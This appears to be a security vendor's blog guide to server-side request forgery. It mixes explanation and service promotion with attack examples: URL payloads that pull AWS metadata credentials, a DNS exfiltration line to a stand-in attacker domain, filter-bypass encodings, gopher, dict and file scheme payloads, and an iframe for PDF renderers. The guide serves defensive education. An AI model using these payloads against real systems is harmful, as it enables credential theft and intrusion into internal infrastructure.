DATE
March 27, 2026
Server-Side Request Forgery, commonly known as SSRF, has quietly climbed the ranks to become one of the most dangerous and frequently exploited vulnerabilities in modern web applications. It earned a dedicated spot in the OWASP Top 10 in 2021, and for good reason. Unlike flashy injection attacks that trigger alarms, SSRF operates in the shadows, letting attackers weaponize your own servers against your internal infrastructure. By the time most organizations realize they have been hit, sensitive cloud metadata, internal APIs, and backend services are already compromised.
This guide breaks down exactly how SSRF works, shows you the real commands attackers use, walks through high-impact exploitation scenarios, and explains what you can do to defend your infrastructure against it.
SSRF is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain or IP address of the attacker's choosing. Instead of directly attacking an external target, the attacker tricks the server into being the one making the malicious request, effectively using your own infrastructure as a proxy.
The key danger here is trust. Internal services trust requests originating from within the network. When an attacker hijacks that trust by manipulating the server into making requests on their behalf, they gain access to resources that should never be reachable from the public internet.
Cloud environments amplify SSRF risk enormously. AWS, GCP, and Azure all expose instance metadata endpoints that are accessible only from within the virtual machine. These endpoints often hold IAM credentials, access tokens, and configuration secrets. If your application is vulnerable to SSRF, an attacker can pull those credentials directly.
Consider what an attacker can retrieve with a single crafted request against a vulnerable AWS-hosted application:
GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
Host: vulnerable-app.com
The server fetches that URL from within its own network context and returns the IAM role name. A follow-up request then extracts the actual credentials:
GET /?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-admin-role
Host: vulnerable-app.com
The response contains AccessKeyId, SecretAccessKey, and a Token, giving the attacker full programmatic access to your AWS environment under that role's permissions.
This is not theoretical. Capital One's 2019 breach, which exposed over 100 million customer records, was executed through exactly this SSRF-to-metadata exploitation chain.
If you are unsure whether your cloud environment is exposed to this kind of attack, Redfox Cybersecurity's pentesting services include cloud-specific SSRF testing that maps your actual exposure before attackers do.
Understanding SSRF requires understanding how web applications make server-side HTTP requests. Many modern applications fetch external content on behalf of users: URL previews, webhooks, file imports, third-party API calls, and more. The vulnerability arises when the application accepts user-supplied input as part of the URL being fetched without sufficient validation.
In its simplest form, an attacker replaces a legitimate external URL with an internal one. If a web application has a parameter like:
https://app.example.com/fetch?url=https://external-api.com/data
An attacker modifies it to:
https://app.example.com/fetch?url=http://192.168.1.1/admin
The server then makes a request to the internal router or admin panel and, if not properly filtered, returns the response to the attacker.
Port scanning is another common use case. Attackers enumerate internal services using sequential requests:
https://app.example.com/fetch?url=http://internal-host:6379/
https://app.example.com/fetch?url=http://internal-host:27017/
https://app.example.com/fetch?url=http://internal-host:9200/
Timing differences in responses reveal whether ports are open (Redis, MongoDB, Elasticsearch, respectively), allowing attackers to map internal infrastructure without ever having direct network access.
Blind SSRF occurs when the application makes the requested server-side call but does not return the response to the attacker. While seemingly less dangerous, blind SSRF is still highly exploitable.
Attackers use out-of-band detection techniques by pointing the SSRF payload at a server they control:
https://app.example.com/webhook?callback=http://attacker-controlled.burpcollaborator.net/ssrf-test
When the vulnerable application sends a DNS lookup or HTTP request to that domain, the attacker's server logs it, confirming the vulnerability exists. From there, they escalate using techniques like forcing the server to exfiltrate data through DNS subdomains:
https://app.example.com/fetch?url=http://SENSITIVE_DATA.attacker.com/
The leaked data appears encoded in DNS query logs on the attacker's end.
Most developers, when they think about SSRF defense, implement blocklists for obvious internal addresses. Attackers have developed an extensive arsenal of techniques to evade these filters.
Standard blocklists check for 127.0.0.1 and 192.168.x.x. Attackers use alternative representations:
http://2130706433/ # Decimal representation of 127.0.0.1
http://0x7f000001/ # Hex representation of 127.0.0.1
http://127.1/ # Shorthand notation
http://[::1]/ # IPv6 loopback
http://0000::1/ # Alternative IPv6
An attacker registers a domain that initially resolves to a legitimate external IP to pass validation checks, then switches the DNS record to an internal IP address. By the time the server makes the actual request, the DNS has already been rebound to target 169.254.169.254 or another internal address.
SSRF is not limited to HTTP. Depending on the libraries in use, attackers abuse alternative URL schemes:
file:///etc/passwd # Local file read
dict://127.0.0.1:6379/info # Interact with Redis
gopher://127.0.0.1:25/... # Send raw SMTP commands
The Gopher protocol deserves special mention because it lets attackers craft arbitrary TCP payloads, enabling interaction with Redis, Memcached, SMTP servers, and other services that speak simple text-based protocols.
If the application validates that the URL points to a trusted domain but follows redirects, attackers chain an open redirect:
https://app.example.com/fetch?url=https://trusted-domain.com/redirect?to=http://169.254.169.254/
The application validates trusted-domain.com, but the redirect leads the request to the metadata endpoint.
These bypass techniques are precisely why surface-level input validation rarely provides adequate protection. Proper defense requires layered controls evaluated by professionals who think like attackers. Schedule a penetration test with Redfox Cybersecurity to find out which of these bypass techniques your current defenses fail to block.
Many organizations run internal admin interfaces that are not exposed to the internet but are accessible within the internal network. SSRF effectively collapses this network boundary.
A common attack chain looks like this:
Kubernetes clusters expose API servers on internal addresses. An attacker exploiting SSRF in a containerized application might attempt:
http://10.0.0.1:8080/api/v1/namespaces/
http://10.0.0.1:8080/api/v1/secrets/
If the service account token is accessible, the attacker can further enumerate pods, deployments, and extract secrets from the cluster.
A particularly widespread SSRF entry point is server-side PDF generation. Applications that convert HTML to PDF using tools like wkhtmltopdf or similar libraries will often render embedded URLs in the HTML content:
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>
When this HTML is submitted to a vulnerable PDF export endpoint, the server renders it, fetches the metadata URL, and embeds the response in the generated PDF, which the attacker downloads.
Detection requires both manual review and automated tooling.
Security testers intercept requests and modify URL parameters, testing each one that appears to fetch external content. A standard SSRF test workflow:
1. Identify all parameters that accept URLs or hostnames
2. Replace values with Burp Collaborator payload:
http://your-collaborator-id.burpcollaborator.net/
3. Monitor Collaborator for incoming DNS/HTTP interactions
4. Escalate confirmed blind SSRF toward internal targets
The Nuclei framework maintains a library of SSRF detection templates:
nuclei -u https://target.com -t ssrf/ -o ssrf-results.txt
Custom templates allow teams to test application-specific parameters that generic scanners miss.
In code reviews, patterns that warrant SSRF scrutiny include any function calls that accept external URLs without validation:
# Vulnerable pattern
import requests
url = request.args.get('url')
response = requests.get(url)
# Needs allowlist validation before the request is made
Catching these patterns during code review costs far less than remediating a breach. If your team lacks the bandwidth for thorough security code reviews, Redfox Cybersecurity offers source code review and application pentesting services that identify SSRF-prone code patterns across your entire codebase.
No single control eliminates SSRF risk. Effective defense requires multiple overlapping layers.
The strongest control is restricting which hosts your application servers can reach. Define an explicit allowlist of domains or IP ranges that the server is permitted to contact, and deny everything else at the network level using firewall rules or security groups.
Never trust user-supplied URLs. Implement server-side validation that:
https onlyIf your application only needs to make HTTPS requests, configure the HTTP client to disallow file://, gopher://, dict://, and other schemes entirely.
For cloud deployments, use IMDSv2 on AWS, which requires a token-based request flow that is significantly harder to exploit via SSRF. In GCP and Azure, similarly configure metadata server access controls.
# Enforce IMDSv2 on an AWS EC2 instance
aws ec2 modify-instance-metadata-options \
--instance-id i-xxxxxxxxxx \
--http-tokens required \
--http-endpoint enabled
This single configuration change eliminates the most catastrophic SSRF escalation path in AWS environments.
Even with application-level controls in place, assume they can be bypassed. Network segmentation ensures that even if SSRF is exploited, the attacker cannot reach critical internal services. Web application servers should not have direct network routes to database servers, internal admin tools, or cloud metadata endpoints beyond what is strictly necessary.
Automated scanners catch known, pattern-based SSRF vulnerabilities. But the most dangerous SSRF vulnerabilities are logic-level, application-specific issues: custom webhook handlers, unconventional URL parsing, multi-stage redirect chains, and application features that no generic scanner template covers.
Professional penetration testers approach SSRF the same way a motivated attacker would: by understanding your application's business logic, chaining vulnerabilities, and pursuing the highest-impact escalation paths. That means finding not just that SSRF exists, but exactly what an attacker could do with it in your specific environment.
Redfox Cybersecurity's team conducts comprehensive application and infrastructure penetration testing that goes beyond automated scanning. Every engagement includes manual testing for SSRF, bypass technique evaluation, cloud metadata exposure assessment, and a full remediation roadmap tailored to your stack.
Server-Side Request Forgery is deceptively simple in concept and devastatingly complex in its real-world impact. It turns the trust your internal infrastructure extends to your own servers into a weapon, and in cloud environments, that weapon can hand attackers the keys to your entire AWS account with a single HTTP request.
The organizations that get ahead of SSRF are not the ones that rely on WAFs and automated scanners alone. They are the ones who test their applications the way attackers test them: manually, creatively, and with full context of what is actually at risk on the other side of every vulnerable parameter.
If you want to know where you stand before an attacker finds out, reach out to Redfox Cybersecurity and get a penetration test that treats SSRF with the seriousness it deserves.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.jpg)
.avif)
.jpg)